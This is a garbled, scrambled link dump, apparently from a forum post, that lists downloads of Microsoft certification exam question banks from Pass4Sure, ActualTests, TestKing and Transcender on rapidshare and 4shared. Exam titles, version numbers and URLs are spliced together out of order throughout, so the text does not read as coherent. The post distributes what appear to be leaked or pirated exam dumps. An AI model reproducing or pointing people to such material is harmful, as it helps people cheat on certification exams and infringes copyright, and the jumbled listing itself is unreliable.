rar Pass4Sure 70-224 version 2.com/files/27143331/Pass4Sure_70-221_v1. Enterprise Edition CODE http://rapidshare.rar Pass4Sure 70-228 version 1.com/files/27143491/Pass4Sure_70-227_v2.com/files/27143305/Pass4Sure_70-220_v2.6.29 Configuring and Administering Microsoft Clustering Services by using Windows 2000 Advanced Server CODE http://rapidshare.rar Pass4Sure 70-225 version 2.60 Installing.rar Pass4Sure 70-229 version 1.60 . Enterprise Edition CODE http://rapidshare.rar Pass4Sure 70-227 version 1.16.273 Designing a Microsoft Windows 2000 Directory Services Infrastructure CODE http://rapidshare.rar Pass4Sure 70-223 version 2. Configuring and Administering Microsoft Exchange 2000 CODE http://rapidshare.29.com/files/27143283/Pass4Sure_70-219.rar Pass4Sure 70-221 version 1.16 Designing and Deploying a Messaging Infrastructure with Microsoft Exchange 2000 Server CODE http://rapidshare.29 Designing Security for a Microsoft Windows 2000 Network CODE http://rapidshare.com/files/27143453/Pass4Sure_70-225pic.16.rar Pass4Sure 70-220 version 2.com/files/27143360/Pass4Sure_70-224_v2. Configuring and Administering Microsoft SQL Server 2000.com/files/27143517/Pass4Sure_70-228_v1.Pass4Sure 70-219 version 2. and Administering Microsoft Internet Security and Acceleration (ISA) Server 2000.com/files/27143345/Pass4Sure_70-223_v2.03 Designing a Microsoft Windows 2000 Network Infrastructure CODE http://rapidshare.16 Installing.60 Installing.29.03. Configuring.

29.00 Installing. and Administering Microsoft Windows XP Professional CODE http://rapidshare.com/files/27143570/Pass4Sure_70-232_v2. and Administering Microsoft Exchange 2003 Server CODE http://rapidshare.29 Implementing and Maintaining Highly Available Web Solutions with MS W2K Server Technologies CODE http://rapidshare.15.rar Pass4Sure 70-271 version 2.rar Pass4Sure 70-235 version 2.29 Microsoft Designing and Implementing Solutions with Microsoft Commerce 2000 Server CODE http://rapidshare.73 Supporting and Maintaining a Microsoft Windows NT Server 4.15 Supporting Users and Troubleshooting Desktop Applications CODE http://rapidshare.com/files/27143593/Pass4Sure_70-235_v2.com/files/27101699/Pass4Sure_70-270_v1.rar Pass4Sure 70-272 version 2.com/files/27143548/Pass4Sure_70-229_v1.com/files/27143715/Pass4Sure_70-272_v2.. Enterprise Edition CODE http://rapidshare.rar Pass4Sure 70-270 version 1.15 Supporting Users and Troubleshooting a MS Windows XP OS CODE http://rapidshare.com/files/27143694/Pass4Sure_70-271_v2.rar Pass4Sure 70-232 version 2.15.0. Configuring.29.rar Pass4Sure 70-285 version 2.com/files/27143785/Pass4Sure_70-284_v2.Designing and Implementing Databases with Microsoft SQL Server 2000.29 Designing a Microsoft Exchange Server 2003 Organization CODE .15.com/files/27143634/Pass4Sure_70-244_v2.rar Pass4Sure 70-284 version 2.rar Pass4Sure 70-244 version 2.com/files/27143659/Pass4Sure_70-270_v1.15 Configuring.0.rar http://rapidshare.0 Network CODE http://rapidshare.6.73.

30 Managing and Maintaining a Microsoft Windows Server 2003 Environment for a W2K MCSA CODE http://rapidshare.20 Managing and Maintaining a Microsoft Windows Server 2003 Environment CODE http://rapidshare.24 Planning.rar Pass4Sure 70-291 version 2.com/files/27144305/Pass4Sure_70-294_v1. Implementing.http://rapidshare.com/files/27145184/Pass4Sure_293labnew.com/files/27145134/Pass4Sure_291labnew.40.40 Implementing. and Maintaining a Microsoft Windows Server 2003 AD Infrastructure CODE http://rapidshare.80 Planning.rar Pass4Sure 70-296 version 2.20.15 & 2.com/files/27073978/70-290_v2.com/files/27144336/Pass4Sure_70-296_v2. and Maintaining a Microsoft Windows Server 2003 Network Infrastructure CODE http://rapidshare.com/files/27144346/Pass4Sure_70-296_2__v2.rar http://rapidshare.com/files/27143983/Pass4Sure_70-290_v2.29.rar Pass4Sure 70-297 version 2.73. Managing.rar Pass4Sure 70-290 version 2.rar http://rapidshare.8_EEW5.rar Pass4Sure 70-292 version 2.8_EEW5.25 Designing a Microsoft Windows Server 2003 Active Directory and Network Infrastructure CODE .20.rar Pass4Sure 70-293 version 2.rar Pass4Sure 70-294 version 1.com/files/27144113/Pass4Sure_70-292_v2.22 Planning and Maintaining a Microsoft Windows Server 2003 Network Infrastructure CODE http://rapidshare.15.com/files/27144156/Pass4Sure_70-293_v2.com/files/27144027/Pass4Sure_70-291_v2.30.rar http://rapidshare. Implementing.rar http://rapidshare.24. and Maintaining a Microsoft Windows Server 2003 Environment for a W2K MCSE CODE http://rapidshare.com/files/27144305/Pass4Sure_70-294_v1.com/files/27143831/Pass4Sure_70-285_v2.rar hxxp://rapidshare.

25.com/files/27144561/Pass4Sure_70-305_v2.NET CODE http://rapidshare.NET Solution Architectures CODE http://rapidshare.com/files/27144518/Pass4Sure_70-300.rar Pass4Sure 70-315 version 2.com/files/27144578/Pass4Sure_70-306_v2.0 CODE http://rapidshare.rar Pass4Sure 70-310 version 2.com/files/27144588/Pass4Sure_70-310_v2.rar Pass4Sure 70-298 version 1.rar Pass4Sure 70-306 version 2. Organizing.16.73 Implementing and Administering Security in a Microsoft Windows Server 2003 Network CODE http://rapidshare.com/files/27144544/Pass4Sure_70-301_v2.29 Developing and Implementing Web Applications with Microsoft Visual C# .18.NET CODE http://rapidshare.rar Pass4Sure 70-299 version 2.31 Developing and Implementing Windows-based Applications with Microsoft Visual Basic .16 XML Web Services and Server Components with Visual Basic. and Delivering IT Projects by Using Microsoft� Solutions Framework 3.NET CODE http://rapidshare.com/files/27144408/Pass4Sure_70-298_v1.com/files/27144599/Pass4Sure_70-315_v2.com/files/27144438/Pass4Sure_70-299_v2.http://rapidshare.NET CODE http://rapidshare.29 Analyzing Requirements and Defining Microsoft .80 Designing Security for a MS Windows Server 2003 Network CODE http://rapidshare.16 Developing and Implementing Web Applications with Microsoft Visual Basic.16.rar Pass4Sure 70-305 version 2.29.com/files/27144389/Pass4Sure_70-297_v2.18 Managing.rar Pass4Sure 70-301 version 2.8.rar .rar Pass4Sure 70-300 version 2.31.73.

29 Implementing Security for Applications with Microsoft Visual Basic .18 Implementing Security for Applications with Microsoft Visual C# .16.29.16 Developing and Implementing Windows-based Applications with Microsoft Visual C# .rar Pass4Sure 70-330 version 2.rar Pass4Sure 70-350 version 2.29 Designing and Optimizing Data Access by Using Microsoft SQL Server 2005 CODE http://rapidshare.16 XML Web Services and Server Components with C#.29 Microsoft?�� SQL Server 2005 .rar Pass4Sure 70-443 version 2.15.rar Pass4Sure 70-320 version 2.16.com/files/27144646/Pass4Sure_70-330_v2.com/files/27144614/Pass4Sure_70-316_v2.15 Implementing Microsoft Internet Security and Acceleration (ISA) Server 2004 CODE http://rapidshare.rar Pass4Sure 70-340 version 2.com/files/27144772/Pass4Sure_70-442_v2.18.com/files/27144694/Pass4Sure_70-431_v2.29.NET CODE http://rapidshare.com/files/27430402/MCTS_70431_Que__Exam_Cram_2006.rar http://rapidshare.com/files/27144752/Pass4Sure_70-441_v2.Pass4Sure 70-316 version 2.29 Designing Database Solutions by Using Microsoft� SQL Server 2005 CODE http://rapidshare.29.NET CODE http://rapidshare.29 Designing a Database Server Infrastructure by Using Microsoft� SQL Server .rar Pass4Sure 70-441 version 2.NET CODE http://rapidshare.rar Pass4Sure 70-442 version 2.com/files/27144676/Pass4Sure_70-350_v2.Implementation and Maintenance CODE http://rapidshare.NET CODE http://rapidshare.com/files/27144661/Pass4Sure_70-340_v2.rar Pass4Sure 70-431 version 2.29.com/files/27144630/Pass4Sure_70-320_v2.

73.16.rar Pass4Sure 70-526 version 2.com/files/27144885/Pass4Sure_70-536_v2.29 Microsoft .com/files/27144832/Pass4Sure_70-526_v2.rar Pass4Sure 74-132 version 2.18 .rar Pass4Sure 74-133 version 2.com/files/27075798/Pass4Sure_70-620_2.com/files/27144905/Pass4Sure_74-131_v2.rar Pass4Sure 70-528 version 2.rar Pass4Sure 70-630 Shared by Undeathkiller TS:Microsoft Office SharePoint Server 2007 CODE http://rapidshare.73 TS:Configuring Windows Vista Client CODE http://rapidshare.25 Designing a Microsoft Office Enterprise Project Management (EPM) Solution CODE http://rapidshare.0-Web-based Client Development CODE http://rapidshare.29.rarar Pass4Sure 70-620 version 2.29.com/files/27144798/Pass4Sure_70-443_v2.com/files/27144932/Pass4Sure_74-132_v2.29.pdf Pass4Sure 74-131 version 2.29 UPGRADE: MCDBA Skills to MCITP Database Administrator by Using Microsoft SQL Server 2005 CODE http://rapidshare.com/files/30144754/Pass4Sure_70-630.29 Microsoft .2005 CODE http://rapidshare.29.NET Framework 2.rar Pass4Sure 70-536 version 2.rar Pass4Sure 70-447 version 2.16 Designing Portal Solutions with MS SharePoint Products CODE http://rapidshare.25.29.Windows-Based Client Development CODE http://rapidshare.0 Application Development Foundation CODE http://rapidshare.com/files/27144848/Pass4Sure_70-528_v2.29 NET Framework 2.com/files/27144818/Pass4Sure_70-447_v2.NET Framework 2.0 .

20 Planning and Building a Messaging and Collaboration Environment using MS Office & MS Windows CODE http://rapidshare.18.18 Developing E-Business Solutions Using MS BizTalk Server 2004 CODE http://rapidshare.com/files/27145067/Pass4Sure_74-139_v2.18 Planning and Building a Messaging and Collaboration Environment using MS Office & MS Windows CODE http://rapidshare.pdf .com/files/27148791/ActualTest_070-123_v11.rar Pass4Sure 74-135 version 2.rar ActualTests 70-121 Designing and Providing Microsoft Volume License Solutions to Small and Medium Organizations 13 Case Studies ver 1/4/2007 CODE http://rapidshare. and Maintaining a Software Asset Management (SAM) Program 75 Questions ver 2/6/2007 CODE http://rapidshare.rar Pass4Sure 74-134 version 2.pdf ActualTests 70-123 Planning.18.18.20 Developing Microsoft Office Solutions Using XML with Office Professional Edition 2003 CODE http://rapidshare.20.com/files/27145005/Pass4Sure_74-134_v2.rar Pass4Sure 74-137 version 2.18 Pre-Installing MS Products using the OEM Pre-Install Kit CODE http://rapidshare.06.18.20.02.com/files/27145021/Pass4Sure_74-135_v2.07.com/files/27148774/ActualTest_070-121_v01.Customizing Portal Solutions with Microsoft SharePoint Products and Technologies CODE http://rapidshare.rar Pass4Sure 74-138 version 2.com/files/27145031/Pass4Sure_74-137_v2.com/files/27145048/Pass4Sure_74-138_v2. Implementing.04.com/files/27144984/Pass4Sure_74-133_v2.rar Pass4Sure 74-139 version 2.

06.23.com/files/27153524/ActualTest_070-218_v11.pdf ActualTests 70-214 Implementing and Administering Security in a Microsoft Windows 2000 Network 209 Questions ver 11/1/2006 CODE http://rapidshare.06.06.pdf ActualTests 70-217 Implementing and Administering a Microsoft Windows 2000 Directory Services Infrastructure 253 Questions ver 11/7/2006 CODE http://rapidshare.ActualTests 70-210 Windows 2000 Pro 349 Questions ver 12/26/2006 CODE http://rapidshare.com/files/27153478/ActualTest_070-217_v11.pdf .com/files/27152978/ActualTest_070-214_v11.pdf ActualTests 70-219 Designing a Microsoft Windows 2000 Directory Services Infrastructure 17 Case Studies ver 12/23/2005 CODE http://rapidshare.pdf ActualTests 70-215 Windows 2000 Server 411 Questions ver 12/26/2006 CODE http://rapidshare.06.06.pdf ActualTests 70-218 Managing a Microsoft Windows 2000 Network Environment 178 Questions ver 11/7/2006 CODE http://rapidshare.01.09.05.com/files/27153160/ActualTest_070-215_v12.07.07.com/files/27152880/ActualTest_070-210_v12.26.05.26.com/files/27153374/ActualTest_070-216_v12.pdf ActualTests 70-216 Implementing and Administering a Microsoft Windows 2000 Network Infrastructure 360 Questions ver 12/9/2005 CODE http://rapidshare.com/files/27153597/ActualTest_070-219_v12.

06.06.com/files/27153648/ActualTest_070-220_v11.pdf ActualTests 70-226 Designing Highly Available Web Solutions with Microsoft Windows 2000 Server Technologies 11 Case Studies ver 12/26/2006 CODE http://rapidshare.06.06.com/files/27149203/ActualTest_070-224_v12.pdf ActualTests 70-225 Designing and Deploying a Messaging Infrastructure with Microsoft Exchange 2000 Server 10 Case Studies ver 2/15/2007 CODE http://rapidshare.com/files/27148820/ActualTest_070-225_v02.0 to Microsoft Windows 2000 5 Case Studies ver 11/8/2006 CODE http://rapidshare.07.ActualTests 70-220 Designing Security for a Microsoft Windows 2000 Network 9 Case Studies ver 11/22/2006 CODE http://rapidshare. Configuring and Administering Microsoft Exchange 2000 108 Questions 12/26/2006 CODE http://rapidshare.26.pdf ActualTests 70-223 Configuring and Administering Microsoft Clustering Services by using Windows 2000 Advanced Server 80 Questions 10/31/2006 CODE http://rapidshare.com/files/27149135/ActualTest_070-223_v10.22.15.com/files/27149287/ActualTest_070-226_v12.com/files/27153769/ActualTest_070-222_v11.pdf ActualTests 70-227 .31.06.26.pdf ActualTests 70-222 Migrating from Microsoft Windows NT 4.22.com/files/27153668/ActualTest_070-221_v01.07.pdf ActualTests 70-221 Designing a Microsoft Windows 2000 Network Infrastructure 5 Case Studies ver 1/22/2007 CODE http://rapidshare.pdf ActualTests 70-224 Installing.08.

Enterprise Edition 151 Questions ver 11/7/2006 CODE http://rapidshare.06.23.05.22.Installing.com/files/27148844/ActualTest_070-234_v01.06.22.pdf ActualTests 70-234 Microsoft Designing and Implementing Solutions with Microsoft Commerce 2000 Server 47 Questions ver 1/22/2007 CODE http://rapidshare.06. Enterprise Edition 116 Questions ver 11/23/2006 CODE http://rapidshare. Enterprise Edition 150 Questions ver 11/6/2006 CODE http://rapidshare.07.06.pdf ActualTests 70-244 Supporting and Maintaining a Microsoft Windows NT Server 4.pdfl . Configuring and Administering Microsoft SQL Server 2000.com/files/27149362/ActualTest_070-227_v11.07.30.com/files/27149408/ActualTest_070-228_v11.pdf ActualTests 70-232 Implementing and Maintaining Highly Available Web Solutions with MS W2K Server Technologies 92 Questions ver 10/31/2006 CODE http://rapidshare.com/files/27149466/ActualTest_070-232_v10. Configuring.06.pdf ActualTests 70-228 Installing.06.pdf ActualTests 70-229 Designing and Implementing Databases with Microsoft SQL Server 2000.0 Network CODE http://rapidshare.com/files/27149451/ActualTest_070-230_v11.com/files/27149484/ActualTest_070-234_v01.06.pdf ActualTests 70-230 Designing and Implementing Solutions with Microsoft BizTalk Server 2000 52 Questions ver 11/6/2006 CODE http://rapidshare.pdf http://rapidshare.07.com/files/27149438/ActualTest_070-229_v11. and Administering Microsoft Internet Security and Acceleration (ISA) Server 2000.com/files/27149499/ActualTest_070-244_v10.06.

html ActualTests 70-281 Planning.pdf ActualTests 70-282 Designing.02.09. Deploying.and Medium-Sized Business 104 Questions ver 3/14/2007 CODE http://rapidshare.06.07.pdf http://rapidshare.pdf.23.07.html ActualTests 70-271 Supporting Users and Troubleshooting a MS Windows XP OS 205 Questions ver 3/13/2007 CODE http://rapidshare.14.pdf http://rapidshare.html ActualTests 70-272 Supporting Users and Troubleshooting Desktop Applications 238 Questions ver 3/19/2007 CODE http://rapidshare. and Managing an Enterprise Project Management Solution 95 Questions ver 12/26/2006 CODE http://rapidshare.19.07.com/files/27149544/ActualTest_070-270_v03.com/files/27148909/ActualTest_070-271_v03.28. and Managing a Network Solution for a Small.pdf.com/files/26963758/ActualTests_070272_v11.13. and Administering Microsoft Windows XP Professional 210 Questions ver 3/9/2007 CODE http://rapidshare.06.07.ActualTests 70-270 Installing.com/files/27148877/ActualTest_070-270_v03. Deploying.pdf http://rapidshare.com/files/26963754/ActualTests_070270_v12.pdf http://rapidshare.com/files/27149014/ActualTest_070-282_v03.07.06.pdf http://rapidshare.07.06.com/files/27149572/ActualTest_070-282_v11.09.pdf.pdf .com/files/27148983/ActualTest_070-272_v03.07.com/files/27149107/ActualTest_070-290_v03.26.com/files/27149558/ActualTest_070-281_v12.06.06.com/files/26963756/ActualTests_070271_v11.23.com/files/27149627/ActualTest_070-290_v03.06.pdf http://rapidshare. Configuring.pdf ActualTests 70-290 Managing and Maintaining a Microsoft Windows Server 2003 Environment 394 Questions ver 3/6/2007 CODE http://rapidshare.

com/files/27150596/ActualTest_070-293_v10.com/files/27147852/ActualTest_070-292_v03.com/files/27150772/ActualTest_070-294_v11.pdf ActualTests 70-293 Planning and Maintaining a Microsoft Windows Server 2003 Network Infrastructure 227 Questions ver 3/15/2007 CODE http://rapidshare.07.09.html ActualTests 70-291 Implementing.31.pdf ActualTests 70-292 Managing and Maintaining a Microsoft Windows Server 2003 Environment for a W2K MCSA 749 Questions ver 3/13/2007 CODE http://rapidshare.01.09. and Maintaining a Microsoft Windows Server 2003 AD Infrastructure 253 Questions ver 11/3/2006 CODE http://rapidshare.07.06.com/files/27151309/ActualTest_070-296_v11.07.06.03.pdf http://rapidshare. Implementing. Managing. and Maintaining a Microsoft Windows Server 2003 Environment for a W2K MCSE 459 Questions ver 3/19/2007 CODE http://rapidshare.pdf ActualTests 70-294 Planning.07.pdf http://rapidshare.pdf.com/files/27148387/ActualTest_070-296_v03.15.com/files/27152796/AcutalTests_070-291_v03.19.pdf http://rapidshare.com/files/26965004/ActualTests_070290_v10.pdf ActualTests 70-297 Designing a Microsoft Windows Server 2003 Active Directory and Network Infrastructure 11 Case Studies ver 1/10/2007 .pdf ActualTests 70-296 Planning.com/files/27147927/ActualTest_070-293_v03.13.07.com/files/27147579/ActualTest_070-291_v03.pdf http://rapidshare.06.31.com/files/27150484/ActualTest_070-292_v11.02. and Maintaining a Microsoft Windows Server 2003 Network Infrastructure 355 Questions ver 3/9/2007 CODE http://rapidshare. Implementing.06.http://rapidshare.06.

06.0 98 Questions ver 12/26/2006 CODE http://rapidshare.07.pdf ActualTests 70-299 Implementing and Administering Security in a Microsoft Windows Server 2003 Network 125 Questions ver 3/9/2007 CODE http://rapidshare.03.03.08.06.07.pdf ActualTests 70-298 Designing Security for a MS Windows Server 2003 Network 10 Case Studies ver 4/4/2007 CODE http://rapidshare.com/files/27148538/ActualTest_070-299_v03.pdf ActualTests 70-305 Developing and Implementing Web Applications with Microsoft Visual Basic. Organizing.com/files/27151413/ActualTest_070-299_v11.pdf ActualTests 70-300 Analyzing Requirements and Defining Microsoft .03.03.NET 212 Questions ver 1/3/2007 CODE http://rapidshare. and Delivering IT Projects by Using Microsoft� Solutions Framework 3.com/files/27148550/ActualTest_070-305_v01.com/files/27151502/ActualTest_070-301_v12.NET 256 Questions ver 11/3/2006 CODE http://rapidshare.pdf ActualTests 70-301 Managing.26.pdf .com/files/27151527/ActualTest_070-306_v11.07.pdf http://rapidshare.10.com/files/27151457/ActualTest_070-300_v11.com/files/27151516/ActualTest_070-305_v01.com/files/27151381/ActualTest_070-298_v10.com/files/27151368/ActualTest_070-297_v01.06.31.CODE http://rapidshare.NET Solution Architectures 15 Case Studies ver 11/17/2006 CODE http://rapidshare.pdf ActualTests 70-306 Developing and Implementing Windows-based Applications with Microsoft Visual Basic .pdf http://rapidshare.17.com/files/27148438/ActualTest_070-297_v01.07.06.07.pdf http://rapidshare.10.06.

07.com/files/27148559/ActualTest_070-350_v03.com/files/27151536/ActualTest_070-310_v11.23.06.pdf http://rapidshare.pdf ActualTests 70-340 Implementing Security for Applications with Microsoft Visual C# .29.ActualTests 70-310 XML Web Services and Server Components with Visual Basic.06.com/files/27151626/ActualTest_070-330_v12.com/files/27151671/ActualTest_070-340_v12.22.com/files/27151578/ActualTest_070-316_v11.NET 202 Questions ver 11/10/2006 CODE http://rapidshare.com/files/27151556/ActualTest_070-315_v12.10.06.02.com/files/27151700/ActualTest_070-350_v01.NET 219 Questions ver 11/3/2006 CODE http://rapidshare.06.NET 236 Questions ver 11/2/2006 CODE http://rapidshare.03.NET 215 Questions ver 12/29/2006 CODE http://rapidshare.07.pdf ActualTests 70-431 .NET 67 Questions 12/26/2006 CODE http://rapidshare.NET 64 Questions 12/26/2006 CODE http://rapidshare.06.23.21.pdf ActualTests 70-350 Implementing Microsoft Internet Security and Acceleration (ISA) Server 2004 91 Questions ver 3/21/2007 CODE http://rapidshare.pdf ActualTests 70-315 Developing and Implementing Web Applications with Microsoft Visual C# .pdf ActualTests 70-320 XML Web Services and Server Components with C#.pdf ActualTests 70-330 Implementing Security for Applications with Microsoft Visual Basic .com/files/27151594/ActualTest_070-320_v11.pdf ActualTests 70-316 Developing and Implementing Windows-based Applications with Microsoft Visual C# .06.

07.pdf .27.22.com/files/27151730/ActualTest_070-441_v01.0 .NET Framework 2.pdf.07.Microsoft� SQL Server 2005 .06.07.07.com/files/27148693/ActualTest_070-447_v02.pdf http://rapidshare.07.08.pdf http://rapidshare.Windows-Based Client Development 135 Questions ver 3/14/2007 CODE http://rapidshare.pdf.Implementation and Maintenance 73 Questions ver 3/5/2007 CODE http://rapidshare.07.com/files/27148582/ActualTest_070-441_v01.23.com/files/26962820/ActualTest_070-442_v01.com/files/27151803/ActualTest_070-444_v10.07.22.com/files/26962821/ActualTest_070-443_v01.html ActualTests 70-447 UPGRADE: MCDBA Skills to MCITP Database Administrator by Using Microsoft SQL Server 2005 10 Case Studies ver 2/26/2007 CODE http://rapidshare.07.06.0-Web-based Client Development 97 Questions ver 3/9/2007 CODE http://rapidshare.com/files/27148706/ActualTest_070-526_v03.pdf ActualTests 70-526 Microsoft .06.com/files/27148726/ActualTest_070-528_v03.pdf http://rapidshare.pdf ActualTests 70-441 Designing Database Solutions by Using Microsoft� SQL Server 2005 9 Case Studies ver 1/22/2007 CODE http://rapidshare.30.pdf http://rapidshare.com/files/27148632/ActualTest_070-444_v03.com/files/27151715/ActualTest_070-431_v11.05.pdf ActualTests 70-444 Optimizing and Maintaining a Database Administration Solution by Using SQL Server 2005 240 Questions ver 3/27/2007 CODE http://rapidshare.html http://rapidshare.pdf ActualTests 70-528 NET Framework 2.09.com/files/27151852/ActualTest_070-526_v10.pdf http://rapidshare.pdf CODE http://rapidshare.07.10.com/files/27151843/ActualTest_070-447_v11.com/files/27148573/ActualTest_070-431_v03.06.14.29.22.26.

4shared.html .html .ActualTests 70-529 Microsoft .07.Click to view full image Here are the New Links Friends .4shared.com/file/22371026/d31d9a4d/TestKing_70-291_v52.TestKing for 70-270 Exam .04.com/files/27148758/ActualTest_070-536_v03.pdf http://rapidshare.0 Application Development Foundation 212 Questions ver 3/22/2007 CODE http://rapidshare.V41 CODE http://www.V35 CODE http://www.com/files/27151878/ActualTest_074-100_v04.0 .TestKing for 70-290 Exam .NET Framework 83 Questions 3/7/2007 CODE http://rapidshare.V52 CODE http://www.com/file/22374834/1dc56baa/TestKing_70-293_v35.com/files/27148770/ActualTest_070-549_v03.html .4shared.NET Framework 2.NET Framework 2.07.06.pdf ActualTests 74-100 Microsoft Solutions Framework (MSF) Practitioner 105 Questions ver 4/4/2006 CODE http://rapidshare.V53.com/files/27151866/ActualTest_070-549_v11.06.Distributed Application Development 82 Questions ver 3/5/2007 CODE http://rapidshare.07.TestKing for 70-291 Exam .22.pdf ActualTests 70-549 Designing and Developing Enterprise Applications by Using the Microsoft .html .05.pdf ActualTests 70-536 Microsoft .4 CODE http://www.com/file/22367628/2823bd94/TestKing_70-270_V41.pdf Reduced: 67% of original size [ 760 x 100 ] .com/file/22368240/2fc82aaa/TestKing_70-290_v534.com/files/27148739/ActualTest_070-529_v03.07.21.TestKing for 70-293 Exam .4shared.

4shared..com/file/22366004/af9288ea/TestKing_70-284_v35.com/file/22376238/b3ed6adc/TestKing_70-297_v19. Configuring.4shared.html .com/file/22375978/c961efd7/TestKing_70-294_v33.com/file/22426160/17e2173a/TestKing_70-350_v4.TestKing for 70-297 Exam .pdf .TestKing for 70-298 Exam .V19 CODE http://www. Deploying.com/files/27259412/TestKing_70-227_v19.TestKing for 70-294 Exam .2 Planning.html TestKing for 70-350 Exam . thank you TestKing 70-210 v25 Windows 2000 Pro CODE http://rapidshare.4shared.html TestKing for 70-284 Exam .com/file/22376834/b7cca321/TestKing_70-299_v14.TestKing for 70-299 Exam . please bare with us..4shared.com/file/22366609/d5ae88e5/TestKing_70-285_v18.V18 CODE http://www.4shared.V33 CODE http://www.V4 CODE http://www.4shared. and Managing Microsoft Systems Management Server 2003 Links are on hold in the process of uploading to other sites .html .com/file/22376473/44de0ae2/TestKing_70-298_v18.V14 CODE http://www.pdf TestKing 70-227 v19 Installing.html TestKing for 70-285 Exam . and Administering Microsoft Internet Security and Acceleration (ISA) Server CODE http://rapidshare.com/files/27259396/TestKing_70-210_v25.V18 CODE http://www.4shared.html .html TestKing 70-089 v9..V35 CODE http://www.

vce Posted by Reckless http://rapidshare. and Administering Microsoft Windows XP Professional CODE http://rapidshare.v. Enterprise Edition CODE http://rapidshare. Configuring.pdf TestKing 70-270 v37 Installing.07.1.17.com/files/27259430/TestKing_70-228_v6.And. and Administering Microsoft Windows XP Professional CODE http://rapidshare.vce TestKing 70-270 v39 Installing.0_150_q.Exam.com/files/29352327/Microsoft.by.pdf TestKing 70-270 v41 Installing.210q.v41. Configuring and Administering Microsoft SQL Server 2000.pdf http://rapidshare.1 Designing and Implementing Databases with Microsoft SQL Server 2000. and Administering Microsoft Windows XP Professional CODE http://rapidshare.37.corrected. and Administering Microsoft Windows XP Professional CODE http://rapidshare.com/files/27259446/TestKing_70-229_v8.Microsoft.pdf TestKing 70-272 v13 .com/files/27160328/TestKing_70270_v37_by_Edmond_04.pdf TestKing 70-271 v14 Supporting Users and Troubleshooting a MS Windows XP OS CODE http://rapidshare.pdf http://rapidshare.TestKing. Configuring.70270.com/files/28638409/Testking_070-228_v9.com/files/27259546/TestKing_70-271_v14.com/files/27075801/TestKing_70-271_v14. Configuring.com/files/27075799/TestKing_70-270_v37.pdf TestKing 70-229 v8. Configuring.Q. Enterprise Edition CODE http://rapidshare.pdf TestKing 70-270 v37 my own VCE version Installing.TestKing 70-228 v6 & v9 Installing.Karthik_818.com/files/27156221/TestKing_1_.A.070270.com/files/27075800/TestKing_70-270_v39.

pdf TestKing 70-285 v18 Designing a Microsoft Exchange Server 2003 Organization CODE http://rapidshare.com/files/27259586/TestKing_70-285_v18.pdf TestKing 70-290 v53.pdf TestKing 70-291 v52 & v55 Implementing. and Maintaining a Microsoft Windows Server 2003 AD Infrastructure .com/files/27259571/TestKing_70-284_v35.com/files/27259867/TestKing_70-291_v52.com/files/27075804/TestKing_70-291_v55.4.com/files/27075802/TestKing_70-272_v13.com/files/27259911/TestKing_70-291_v55.4. Implementing.com/files/27075803/TestKing_70-290_v53. Managing.pdf http://rapidshare.com/files/27259339/TK_70-272_v13_221_Q___A. and Administering Microsoft Exchange 2003 Server CODE http://rapidshare.pdf http://rapidshare.com/files/27260248/TestKing_70-293_v35.com/files/27260168/TestKing_70-292_v73.pdf http://rapidshare.com/files/27259555/TestKing_70-272_v13.com/files/27075805/TestKing_70-291_v52.pdf TestKing 70-284 v35 Configuring. and Maintaining a Microsoft Windows Server 2003 Network Infrastructure CODE http://rapidshare.pdf http://rapidshare.pdf http://rapidshare.pdf TestKing 70-294 v33 Planning.4 Managing and Maintaining a Microsoft Windows Server 2003 Environment CODE http://rapidshare.pdf http://rapidshare.com/files/27259672/TestKing_70-290_v53.pdf TestKing 70-292 v73 Managing and Maintaining a Microsoft Windows Server 2003 Environment for a W2K MCSA CODE http://rapidshare.pdf TestKing 70-293 v35 Planning and Maintaining a Microsoft Windows Server 2003 Network Infrastructure CODE http://rapidshare.Supporting Users and Troubleshooting Desktop Applications CODE http://rapidshare.

pdf TestKing 70-297 v19 Designing a Microsoft Windows Server 2003 Active Directory and Network Infrastructure CODE http://rapidshare.com/files/27260568/TestKing_70-299_v14.CODE http://rapidshare.com/files/27260493/TestKing_70-296_v47.18.19_Abstract_N_Errata.pdf TestKing 70-297 v19 Errata & Abstract by Glow Designing a Microsoft Windows Server 2003 Active Directory and Network Infrastructure CODE http://rapidshare.pdf TestKing 70-296 v47 Planning.com/files/27260588/TestKing_70-300_v13. and Maintaining a Microsoft Windows Server 2003 Environment for a W2K MCSE CODE http://rapidshare.com/files/27260368/TestKing_70-294_v33.pdf TestKing 70-299 v14 Implementing and Administering Security in a Microsoft Windows Server 2003 Network CODE http://rapidshare.pdf TestKing 70-300 v13 Analyzing Requirements and Defining Microsoft .com/files/27260539/TestKing_70-298_v.pdf TestKing 70-316 v10 Developing and Implementing Windows-based Applications with Microsoft .doc TestKing 70-298 v18 Designing Security for a MS Windows Server 2003 Network CODE http://rapidshare.com/files/27260508/TestKing_70-297_v19.com/files/27260527/TestKing_70297_v. Implementing.pdf TestKing 70-315 v12 Developing and Implementing Web Applications with Microsoft Visual C# .com/files/27260601/TestKing_70-315_v12.NET Solution Architectures CODE http://rapidshare.NET CODE http://rapidshare.

rar http://rapidshare.com/files/27260624/TestKing_70-320_v10.rar Transcender 70-228 CODE http://rapidshare.4-rbs.rar Transcender 70-217 CODE http://rapidshare.3-rbs.1-rbs.0 TS: Microsoft Windows Vista Configuring CODE http://rapidshare.NET CODE http://rapidshare.0.com/files/29397606/Transcender_70-228_v8.com/files/29396821/Transcender_70-217_v5.1.1-rbs.0.pdf TestKing 70-350 v4 Implementing Microsoft Internet Security and Acceleration (ISA) Server 2004 CODE http://rapidshare.com/files/29397075/Transcender_70-218_v5.1.rar Transcender 70-224 CODE http://rapidshare.pdf Transcender Practice Exams Transcender 70-089 CODE http://rapidshare.1.pdf TestKing 70-620 v2.com/files/29397744/Transcender_70-228_v8.0-rbs.com/files/27260634/TestKing_70-350_v4.rar http://rapidshare.com/files/27260616/TestKing_70-316_v10.NET CODE http://rapidshare.com/files/29397237/Transcender_70-224_v6.com/files/27260646/TestKing_70-620_v2.rar Transcender 70-218 CODE http://rapidshare.rar Transcender 70-229 .2-rbs.pdf TestKing 70-320 v10 Developing and Implementing Windows-based Applications with Microsoft Visual C# .0.20051219rbs.com/files/29397457/Transcender_70-228_v8.1.com/files/29396632/Transcender_70-089_v2.Visual C# .0.

